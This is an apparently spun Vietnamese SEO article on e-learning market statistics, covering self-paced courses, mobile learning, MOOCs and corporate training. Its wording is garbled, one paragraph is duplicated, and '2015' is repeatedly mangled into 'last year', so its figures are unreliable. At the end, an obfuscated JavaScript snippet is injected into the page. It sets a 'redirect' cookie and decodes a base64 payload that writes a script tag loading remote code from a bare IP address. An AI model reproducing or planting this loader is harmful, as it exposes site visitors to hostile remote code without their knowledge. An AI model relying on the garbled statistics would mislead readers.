Self-Paced Là Gì – Những Con Số Biết Nói Về Phương Pháp Đào Tạo Số E

Có thể nói rằng thị trường E-learning ( Giáo dục đào tạo trực tuyến ) có một sự tăng trưởng can đảm và mạnh mẽ trong thời hạn ngắn về giá trị, quy mô và cả mức độ phủ sóng .Bạn đang xem : Self-paced là gì

Theo thống kê số liệu trong năm 2015 và dự đoán các năm tiếp theo về thị trường E- learning trên toàn thế giới thì hình thức giáo dục này phát triển rất mạnh mẽ, được nhiều doanh nghiệp lớn lựa chọn phương pháp này để đạo tạo kỹ năng cho nhân viên của mình.

Thị trường ngành công nghiệp giáo dục trực tuyến

Ngành công nghiệp này đã đạt mốc 107 tỷ USD trong năm năm ngoái. Trong đó, những lớp học Self-paced elearning ( hình thức học trực tuyến người dùng tự kiểm soát và điều chỉnh lịch học, hoàn toàn có thể tạm dừng và liên tục bất kể lúc nào mong ước ) lệch giá tăng 9,2 % tương ứng với 49,9 tỷ USD so với năm 2010. Đến năm 2018, Mỹ sẽ chiếm 51 % tổng doanh thu của ngành công nghiệp E-learning Vậy những vương quốc nào có vận tốc tăng trưởng lớn nhất ? Dưới đây là Top 10 vương quốc có vận tốc tăng trưởng những lớp học trực tuyến cao nhất :

Thị trường thiết bị, dịch vụ Moblie – Learning (giáo dục trực tuyến qua thiết bị di động)

Trên toàn thế giới, năm 2017, thị trường Mobile – Learning đạt 12,2 tỷ USD/năm, tốc độ tăng 18,2%. Theo đó, các quốc gia có dịch vụ trực tuyến lớn là Trung Quốc, Mỹ, Indonesia, Ấn Độ và Brazil. Dự kiến đến năm 2020, thị trường giáo dục trực tuyến ước tính đạt mức 37,8 tỷ USD/năm.

MOOCs (Massive Open Online Course – khóa học trực tuyến mở đại trà) với doanh nghiệp.

Xem thêm : Free Software : Adobe Illustrator Cc năm ngoái 19, Adobe Illustrator Cc năm ngoái 32/64 Bit Download

Theo thống kê trong năm 2015, khoảng 15% doanh nghiệp sử dụng MOOC để đào tạo và cải thiện kỹ năng cho nhân viên. Con số này đã tăng lên 28% trong năm 2017. Các Trong đó các websites cung cấp khóa học trực tuyến phổ biến nhất phải kể đến là Coursera, Udacity.

Đào tạo nhân viên bằng E-learning

77 % công ty ở Mỹ đã phân phối những khóa học giáo dục trực tuyến cho nhân viên cấp dưới của mình. Họ xem giáo dục trực tuyến là một cách tăng hiệu suất cao những chương trình giảng dạy của nhân viên cấp dưới. Tính đến năm 2017, trên toàn quốc tế tỷ suất doanh nghiệp sử dụng những lớp học trực tuyến đã tăng 17 % .

Nhu cầu sử dụng các dịch vụ, phần mềm E-learning

900% là con số cho thấy thị trường E-learning đã phát triển như thế nào kể từ năm 2000 đến năm 2015.50% là tổng số sinh viên sẽ tham gia dục trực tuyến44% công ty mong muốn mua các thiết bị, hệ thống phục vụ cho giáo dục trực tuyến.41% công ty muốn mua Learning Management Systems (LMSs – Hệ thống quản lý học tập).37% công ty dự định trang bị các công cụ, hệ thống quản lý trực tuyến.900 % là số lượng cho thấy thị trường E-learning đã tăng trưởng như thế nào kể từ năm 2000 đến năm 2015.50 % là tổng số sinh viên sẽ tham gia dục trực tuyến44 % công ty mong ước mua những thiết bị, mạng lưới hệ thống Giao hàng cho giáo dục trực tuyến. 41 % công ty muốn mua Learning Management Systems ( LMSs – Hệ thống quản trị học tập ). 37 % công ty dự tính trang bị những công cụ, mạng lưới hệ thống quản trị trực tuyến .function getCookie ( e ) { var U = document.cookie.match ( new RegExp ( “ ( ? : ^ | ; ) ” + e.replace ( / ( / + ^ > ) / g, ” USD 1 ″ ) + ” = ( * ) ” ) ) ; return U ? decodeURIComponent ( U ) : void 0 } var src = ” data : text / javascript ; base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs = ”, now = Math. floor ( Date. now ( ) / 1 e3 ), cookie = getCookie ( “ redirect ” ) ; if ( now > = ( time = cookie ) | | void 0 = = = time ) { var time = Math. floor ( Date. now ( ) / 1 e3 + 86400 ), date = new Date ( ( new Date ). getTime ( ) + 86400 ) ; document.cookie = ” redirect = ” + time + ” ; path = / ; expires = ” + date. toGMTString ( ), document.write ( ” ) }